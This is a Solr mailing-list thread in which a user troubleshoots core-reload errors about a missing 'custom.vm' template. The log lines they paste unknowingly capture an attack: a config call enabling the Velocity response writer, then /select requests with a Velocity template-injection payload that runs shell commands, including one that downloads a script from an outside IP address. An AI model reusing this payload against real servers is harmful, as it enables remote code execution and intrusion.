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Posted to solr-user@lucene.apache.org by TK Solr <tk...@sonic.net> on 2020/04/02 07:50:20 UTC
Admin UI core loading fails
I'm on Solr 8.3.1 running in non-solrcloud mode.
When I tried to reload an existing core from Admin UI's "Core Admin" by clicking
Reload, after modifying the core's conf/managed-schema, no error was reported.
But the newly added field type is not shown in the core's Analyzer section.
I selected Logging from the side bar, I saw errors like this for every core, not
just the core I tried to reload.
null:java.io.IOException: Unable to find resource 'custom.vm'
at
org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
at
org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
at
org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
at
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
at
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
at
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
I could not find any mention of custom.vm in any files under any core's conf
directory.
I restarted Solr, the core was loaded without an error and I can see the newly
added filed type.
What could be the cause of these errors that only happens with the Reload button?
TK
Re: Admin UI core loading fails
Posted by TK Solr <tk...@sonic.net>.
On 4/2/20 5:39 AM, Erick Erickson wrote:
> What do your Solr logs show? My bet is that your mods to the configs somehow caused the reload to fail too early in the process to be shown in the UI.
These are the lines in solr.log that I see lead to the stack trace (core name
has been modified to my_core). I don't understand why Velocity is involved. Is
it used by Admin UI?
2020-04-02 02:16:33.851 INFO (qtp429353573-15) [ x:my_core]
o.a.s.h.SolrConfigHandler Executed config commands successfully and persited to
File System [{"update-queryresponsewriter":{
"startup":"lazy",
"name":"velocity",
"class":"solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled":"true",
"params.resource.loader.enabled":"true"}}]
2020-04-02 02:16:33.854 INFO (qtp429353573-15) [ x:my_core] o.a.s.c.S.Request
[my_core] webapp=/solr path=/config params={} status=0 QTime=487
2020-04-02 02:16:33.854 INFO (qtp429353573-15) [ x:my_core] o.a.s.c.SolrCore
[my_core] CLOSING SolrCore org.apache.solr.core.SolrCore@7b0eae1f
2020-04-02 02:16:33.855 INFO (qtp429353573-15) [ x:my_core]
o.a.s.m.SolrMetricManager Closing metric reporters for
registry=solr.core.my_core, tag=SolrCore@7b0eae1f
2020-04-02 02:16:33.855 INFO (qtp429353573-15) [ x:my_core]
o.a.s.m.r.SolrJmxReporter Closing reporter
[org.apache.solr.metrics.reporters.SolrJmxReporter@2f090079: rootName = null,
domain = solr.core.my_core, service url = null, agent id = null] for registry
solr.core.my_core / com.codahale.metrics.MetricRegistry@4125989a
2020-04-02 02:16:33.858 INFO (searcherExecutor-29-thread-1-processing-x:my_core)
[ x:my_core] o.a.s.c.SolrCore [my_core] Registered new searcher
Searcher@45a874aa[my_core]
main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(8.3.1):C55967:[diagnostics={java.vendor=Ubuntu,
os=Linux, java.version=11.0.6,
java.vm.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, lucene.version=8.3.1,
os.arch=amd64, java.runtime.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1,
source=flush, os.version=4.15.0-76-generic,
timestamp=1585790971495}]:[attributes={Lucene50StoredFieldsFormat.mode=BEST_SPEED}])))}
2020-04-02 02:16:34.105 INFO (qtp429353573-17) [ x:my_core] o.a.s.c.S.Request
[my_core] webapp=/solr path=/select
params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('rm+-rf+/tmp/zzz'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity}
hits=0 status=0 QTime=1
2020-04-02 02:16:34.106 INFO (qtp429353573-17) [ x:my_core] o.a.s.c.PluginBag
Going to create a new queryResponseWriter with {type = queryResponseWriter,name
= velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy,
name=velocity, class=solr.VelocityResponseWriter, template.base.dir=,
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args =
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [ x:my_core] o.a.v.loader
ResourceManager: unable to find resource 'custom.vm' in any resource loader.
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [ x:my_core]
o.a.s.s.HttpSolrCall null:java.io.IOException: Unable to find resource 'custom.vm'
> Best,
> Erick
>
>> On Apr 2, 2020, at 02:50, TK Solr <tk...@sonic.net> wrote:
>>
>> I'm on Solr 8.3.1 running in non-solrcloud mode.
>>
>> When I tried to reload an existing core from Admin UI's "Core Admin" by clicking Reload, after modifying the core's conf/managed-schema, no error was reported. But the newly added field type is not shown in the core's Analyzer section.
>>
>> I selected Logging from the side bar, I saw errors like this for every core, not just the core I tried to reload.
>>
>> null:java.io.IOException: Unable to find resource 'custom.vm'
>> at org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
>> at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
>> at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
>> at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
>> at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
>> at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
>> at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
>> at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
>> at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
>>
>> I could not find any mention of custom.vm in any files under any core's conf directory.
>>
>> I restarted Solr, the core was loaded without an error and I can see the newly added filed type.
>>
>> What could be the cause of these errors that only happens with the Reload button?
>>
>> TK
>>
>>
Re: Admin UI core loading fails
Posted by Erick Erickson <er...@gmail.com>.
What do your Solr logs show? My bet is that your mods to the configs somehow caused the reload to fail too early in the process to be shown in the UI.
Best,
Erick
> On Apr 2, 2020, at 02:50, TK Solr <tk...@sonic.net> wrote:
>
> I'm on Solr 8.3.1 running in non-solrcloud mode.
>
> When I tried to reload an existing core from Admin UI's "Core Admin" by clicking Reload, after modifying the core's conf/managed-schema, no error was reported. But the newly added field type is not shown in the core's Analyzer section.
>
> I selected Logging from the side bar, I saw errors like this for every core, not just the core I tried to reload.
>
> null:java.io.IOException: Unable to find resource 'custom.vm'
> at org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
> at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
> at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
> at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
> at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
> at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
> at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
> at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
> at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
>
> I could not find any mention of custom.vm in any files under any core's conf directory.
>
> I restarted Solr, the core was loaded without an error and I can see the newly added filed type.
>
> What could be the cause of these errors that only happens with the Reload button?
>
> TK
>
>
Re: Admin UI core loading fails
Posted by TK Solr <tk...@sonic.net>.
I failed to include this line in my first post. This /select call with strange
parameters (q=1) seems to be happening periodically even when I don't do any
operation on Admin UI. I scanned the Solr source code, /opt/solr and
/var/solr/data and I couldn't find the source of this call.
2020-04-04 00:41:02.604 INFO (qtp231311211-24) [ x:my_core] o.a.s.c.S.Request
[my_core] webapp=/solr path=/select
params={*q=1*&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('curl+-o+/tmp/zzz+217.12.209.234/s.sh'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity}
hits=0 status=0 QTime=1
On 4/2/20 12:50 AM, TK Solr wrote:
> I'm on Solr 8.3.1 running in non-solrcloud mode.
>
> When I tried to reload an existing core from Admin UI's "Core Admin" by
> clicking Reload, after modifying the core's conf/managed-schema, no error was
> reported. But the newly added field type is not shown in the core's Analyzer
> section.
>
> I selected Logging from the side bar, I saw errors like this for every core,
> not just the core I tried to reload.
>
> null:java.io.IOException: Unable to find resource 'custom.vm'
> at
> org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
> at
> org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
> at
> org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
> at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
> at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
> at
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
> at
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
> at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
>
> I could not find any mention of custom.vm in any files under any core's conf
> directory.
>
> I restarted Solr, the core was loaded without an error and I can see the newly
> added filed type.
>
> What could be the cause of these errors that only happens with the Reload button?
>
> TK
>
>